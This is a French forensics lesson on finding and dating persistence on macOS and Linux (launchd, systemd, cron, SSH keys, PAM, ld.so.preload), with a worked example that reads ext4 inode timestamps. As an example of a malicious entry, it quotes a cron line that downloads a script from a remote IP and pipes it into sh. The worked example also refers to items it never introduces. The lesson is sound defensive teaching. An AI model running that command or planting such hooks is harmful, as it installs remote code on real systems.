Persistance sur macOS et Linux

La persistance désigne tout ce qui permet à un intrus ou à un logiciel malveillant de survivre à un redémarrage, à une fermeture de session ou à un changement de mot de passe. Sur macOS et Linux, elle repose presque toujours sur un fichier : une liste de propriétés, un fichier d’unité, une ligne de crontab, une clé publique. Cette leçon présente les principaux emplacements de démarrage automatique sur les deux systèmes et montre comment distinguer les entrées malveillantes des entrées légitimes, les dater et les attribuer. La persistance sous Windows est traitée dans le module 2.

La méthode de l’examinateur

1. Recensez tous les emplacements de démarrage automatique pour la version du système d’exploitation concernée, à l’échelle du système et dans chaque répertoire personnel, y compris /root et ceux des comptes de service tels que www-data.
2. Comparez avec une référence saine : un système réputé sain de la même version de compilation ou les enregistrements du gestionnaire de paquets. Déterminez à qui appartient chaque fichier (un paquet, un ensemble logiciel signé par un éditeur, aucun de ceux-ci ?) et si le programme qu’il lance se trouve dans un emplacement inhabituel, comme /tmp, /dev/shm ou un fichier dont le nom commence par un point dans /usr/local/bin.
3. Consignez le propriétaire, le mode, tous les horodatages (ext4 et APFS conservent un horodatage de création), la taille et le SHA-256 du fichier de configuration et du programme qu’il lance.
4. Triez par date et recherchez les éléments créés ou modifiés pendant la fenêtre de l’incident, puis corroborez ces observations avec les journaux (leçon 6.4) et les traces d’exécution.
5. Désignez chaque constat par un identifiant de technique MITRE ATT&CK. Les identifiants constituent un vocabulaire, pas des preuves : ils rendent les rapports comparables.

Identifiants connexes que vous rencontrerez : T1574.006 Détournement de l’éditeur de liens dynamique (ld.so.preload), T1556.003 Modules d’authentification enfichables, T1505.003 Shell web et T1136.001 Création de compte : compte local.

macOS

Démons et agents launchd

launchd (PID 1) lance des tâches décrites dans des listes de propriétés ; la leçon 6.1 traite des plists XML et binaires et de leur lecture avec plutil -p.

Les dossiers /System sont protégés par System Integrity Protection (SIP, OS X 10.11+) et, à partir de macOS 11, résident sur le volume système scellé et en lecture seule ; examinez donc /Library et les dossiers des utilisateurs. Les clés importantes :

• Label : le nom unique de la tâche, généralement en notation DNS inversée. Un libellé com.apple. en dehors de /System mérite un examen attentif.
• Program ou ProgramArguments : l’exécutable et ses arguments ; vous devez le localiser et calculer son empreinte. /bin/sh -c, curl ou osascript sont des signaux d’alerte.
• RunAtLoad : démarrer dès le chargement de la tâche (au démarrage du système ou à l’ouverture de session).
• KeepAlive : relancer la tâche chaque fois qu’elle se termine.
• StartInterval : exécuter toutes les N secondes (StartCalendarInterval est la forme analogue à cron).

Éléments d’ouverture de session, profils et autres points de persistance macOS

Depuis macOS 13 Ventura, la gestion des tâches en arrière-plan (BTM, Background Task Management) suit les éléments d’ouverture de session, les agents et les démons de lancement, avertit l’utilisateur et les répertorie dans Réglages Système > Général > Ouverture. Sa base de données est /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v<N>.btm, où N change selon les versions. Il s’agit d’une plist binaire au format d’archive à clés d’Apple ; sur un Mac en fonctionnement, sudo sfltool dumpbtm affiche l’identifiant, le nom du développeur, le type, l’état et le chemin de l’exécutable de chaque élément. Les versions macOS 10.13 à 12 conservaient les éléments d’ouverture de session dans ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.

• Les profils de configuration (.mobileconfig) peuvent installer des certificats racines, des paramètres de proxy, DNS ou VPN, ou une inscription MDM : il s’agit de contrôle plutôt que de code. Listez-les sur le système en fonctionnement avec sudo profiles list. Depuis macOS 11, l’outil profiles ne peut plus installer un profil silencieusement ; un profil malveillant implique donc une approbation de l’utilisateur ou une gestion MDM.
• cron et periodic existent toujours, mais sont rarement utilisés : crontabs des utilisateurs dans /private/var/at/tabs/<user>, scripts dans /etc/periodic/daily|weekly|monthly.
• Profils du shell : zsh est le shell par défaut depuis la version 10.15. ~/.zshenv s’exécute pour chaque instance de zsh, ~/.zprofile pour les shells de connexion, ~/.zshrc pour les shells interactifs, auxquels s’ajoutent /etc/zprofile et /etc/zshrc. Ils ne s’exécutent qu’au lancement d’un shell.
• Les modules d’autorisation dans /Library/Security/SecurityAgentPlugins, une fois référencés dans la base de données d’autorisation, s’exécutent à l’ouverture de session avec accès au mot de passe saisi ; les extensions du noyau (/Library/Extensions, obsolètes depuis macOS 10.15) et les extensions système (10.15+, systemextensionsctl list) nécessitent une approbation explicite de l’utilisateur.

La manière dont le binaire est arrivé est importante. Les navigateurs et Mail ajoutent l’attribut com.apple.quarantine (leçon 6.1), de sorte que Gatekeeper vérifie la signature et la notarisation au premier lancement. curl ne l’ajoute pas ; un binaire déposé sans cet attribut est donc compatible avec un téléchargement par script. Vérifiez la signature avec codesign -dv --verbose=4.

Linux

Services et minuteries systemd

Les fichiers d’unité sont lus depuis /etc/systemd/system (administrateur, priorité la plus élevée), /run/systemd/system (exécution en cours) et /lib/systemd/system ou /usr/lib/systemd/system (paquets). Les unités utilisateur dans ~/.config/systemd/user s’exécutent tant que cet utilisateur est connecté, ou en permanence si le maintien hors session est activé (/var/lib/systemd/linger/<user>).

Dans une unité, [Service] contient ExecStart= (le programme), Restart=always (relance à la fin de l’exécution) et User= ; [Install] contient WantedBy=multi-user.target. systemctl enable agit sur WantedBy en créant un lien symbolique dans /etc/systemd/system/multi-user.target.wants/. Le lien est un nouvel inode ; son propre horodatage de création (lu sans suivre le lien : stat sur le lien, ou istat sur son inode) date donc sa dernière création, normalement effectuée par systemctl enable. Vérifiez également les dossiers de configuration complémentaire (<unit>.d/*.conf), qui peuvent remplacer la valeur ExecStart= d’un service légitime. Les minuteries (.timer avec OnCalendar= ou OnBootSec=) lancent le .service du même nom ; listez-les sur le système en fonctionnement avec systemctl list-timers --all.

cron, clés SSH et fichiers de démarrage du shell

La leçon 6.3 a présenté les emplacements de cron et at. Les entrées malveillantes ressemblent à * root curl -fsSL http://203.0.113.50/k.sh | sh : chaque minute, un téléchargement est transmis à un shell par un tube. Sont également suspects : des blocs en base64, une crontab pour www-data, un fichier dans /etc/cron.d n’appartenant à aucun paquet.

Par défaut, OpenSSH lit .ssh/authorized_keys et .ssh/authorized_keys2 dans chaque répertoire personnel ; recherchez AuthorizedKeysFile ou AuthorizedKeysCommand dans sshd_config. Chaque ligne contient des options facultatives, le type de clé, la clé en base64 et un commentaire. Le commentaire est un texte libre choisi par le créateur de la clé et ne permet aucune attribution. Des options telles que command="…" (imposer une commande) ou from="198.51.100.0/24" (sources autorisées) modifient ce que permet la clé. ssh-keygen -lf authorized_keys affiche l’empreinte SHA256: de chaque clé, que vous rapprochez de lignes sshd telles que Accepted publickey for root from … ssh2: ED25519 SHA256:… (leçon 6.4).

Les shells de connexion Bash lisent /etc/profile (qui charge /etc/profile.d/*.sh) et le premier fichier trouvé parmi ~/.bash_profile, ~/.bash_login et ~/.profile ; les shells interactifs sans connexion lisent /etc/bash.bashrc (famille Debian) et ~/.bashrc. Examinez leur fin à la recherche de nohup … &, alias sudo= ou export LD_PRELOAD=.

Mécanismes d’interception plus profonds

• rc.local et init.d : si /etc/rc.local existe et est exécutable, systemd l’exécute au démarrage, et les scripts SysV dans /etc/init.d s’exécutent par l’intermédiaire d’un générateur de compatibilité ; systemd 260 (2026) a supprimé les deux mécanismes.
• /etc/ld.so.preload : normalement absent. Chaque objet partagé répertorié est chargé dans tous les programmes liés dynamiquement : c’est la technique classique des rootkits en mode utilisateur pour masquer des fichiers et des processus aux outils exécutés sur l’hôte en fonctionnement.
• Modules du noyau : /etc/modules, /etc/modules-load.d/*.conf et /etc/modprobe.d/*.conf (dont les lignes install peuvent exécuter des commandes). lsmod lit /proc/modules, qu’un rootkit peut falsifier ; comparez les fichiers de modules sous /lib/modules/<kernel>/, les messages du noyau tels que module verification failed: signature and/or required key missing - tainting kernel, et la mémoire (module 5).
• Règles udev : une entrée RUN+="…" dans /etc/udev/rules.d/*.rules s’exécute à chaque événement de périphérique correspondant.
• PAM : une ligne dans /etc/pam.d/ ajoutant pam_exec.so expose_authtok transmet chaque mot de passe saisi à un programme ; un pam_unix.so remplacé peut accepter un mot de passe maître.
• Comptes : un second UID 0 dans /etc/passwd, de nouveaux membres de sudo/wheel ou des fichiers dans /etc/sudoers.d (leçon 6.3).
• Shells web : petits fichiers .php ou .jsp sous /var/www, appartenant au compte du serveur web.

Validation à l’aide du gestionnaire de paquets

dpkg -V (ou debsums -c) compare les fichiers aux sommes MD5 enregistrées à l’installation ; rpm -Va vérifie également la taille, le mode, le propriétaire et mtime, en affichant des indicateurs tels que S.5....T. (taille, empreinte et date modifiées) et c pour les fichiers de configuration, qui peuvent être modifiés légitimement. dpkg -S <path> ou rpm -qf <path> indique le paquet auquel appartient un fichier. Limites : seuls les fichiers appartenant à un paquet sont vérifiés ; une nouvelle unité, un nouveau fichier cron ou une nouvelle ligne dans authorized_keys sont donc invisibles ; de plus, un attaquant disposant des privilèges root peut modifier la base de données (/var/lib/dpkg/info/*.md5sums, /var/lib/rpm) ou les outils. Privilégiez les empreintes des paquets d’origine provenant du miroir de la distribution, comparées sur votre poste de travail aux fichiers du volume monté en lecture seule.

Aide-mémoire

Exemple détaillé : un faux auxiliaire D-Bus

Un serveur web Debian 12 (fuseau horaire UTC−3) a été compromis le 14 mars 2026 :

L’unité /etc/systemd/system/dbus-helper.service contient ExecStart=/usr/local/bin/.dbus-helper, Restart=always et WantedBy=multi-user.target. dpkg -S ne trouve aucun paquet propriétaire pour l’un ou l’autre fichier ; l’unité D-Bus authentique est dbus.service dans /lib/systemd/system, et le point initial masque le binaire lors d’un simple ls.

Datation de l’activation. stat sur le lien symbolique affiche Birth: 2026-03-14 11:26:10.483920117 -0300 ; 11:26:10 + 3 h = 14:26:10Z. Vérifiez cette valeur dans l’inode brut : i_crtime à l’offset 0x90 contient 02 70 B5 69, soit, en petit-boutiste, 0x69B57002 = 1 773 498 370 secondes depuis 1970-01-01 = 2026-03-14T14:26:10Z. i_crtime_extra à 0x94 contient D4 23 60 73 = 0x736023D4 ; un décalage de 2 bits vers la droite donne 483 920 117 ns, et ses deux bits de poids faible (00) n’ajoutent aucune extension d’époque.

Rapprochement de la clé. ssh-keygen -lf appliqué à la nouvelle ligne donne SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU, identique à l’empreinte de la connexion de 02:07:44Z ; cette clé a donc été utilisée, depuis une nouvelle adresse.

Attribution. Les trois éléments ont été créés dans cet ordre pendant le shell root de la session deploy (14:18:05Z à 14:31:40Z). Les horodatages de création indiquent quand les inodes sont apparus, pas qui a agi ; la fenêtre de session fournit ce lien, après vérification dans wtmp et le journal qu’aucune autre session n’était ouverte au même moment. touch ne peut définir ni crtime ni ctime ; antidater mtime ne masquerait donc pas 14:25:02Z. Consignez T1543.002 et T1098.004 dans le rapport.

Points clés pour l'examen : Préparez-vous à indiquer le dossier et le compte utilisés par une tâche launchd, à lire ProgramArguments, RunAtLoad et KeepAlive, et à dater un service systemd à partir de son lien symbolique *.wants. Vous pourrez devoir rapprocher une empreinte d’authorized_keys d’une ligne Accepted publickey, convertir une heure locale fournie par stat en UTC et donner le chemin complet et le SHA-256 d’un binaire.

Points essentiels

• La persistance repose sur un fichier dans un emplacement connu de démarrage automatique ; recensez-les tous, à l’échelle du système et pour chaque utilisateur, puis comparez-les avec une référence saine.
• Les LaunchDaemons s’exécutent en tant que root au démarrage ; les LaunchAgents s’exécutent en tant qu’utilisateur à l’ouverture de session ; /System/Library appartient à Apple et est scellé.
• systemctl enable crée un lien symbolique dans *.wants/ ; l’horodatage de création propre au lien date l’activation.
• Prouvez quelle clé SSH a été utilisée en faisant correspondre son empreinte SHA256: à la ligne Accepted publickey de sshd ; ignorez le commentaire de la clé.
• dpkg -V et rpm -Va ne couvrent que les fichiers appartenant à des paquets et font confiance à une base de données que root peut modifier.
• Les identifiants ATT&CK tels que T1543, T1053, T1098.004, T1546, T1547 et T1037 désignent des constats ; ils ne les prouvent pas.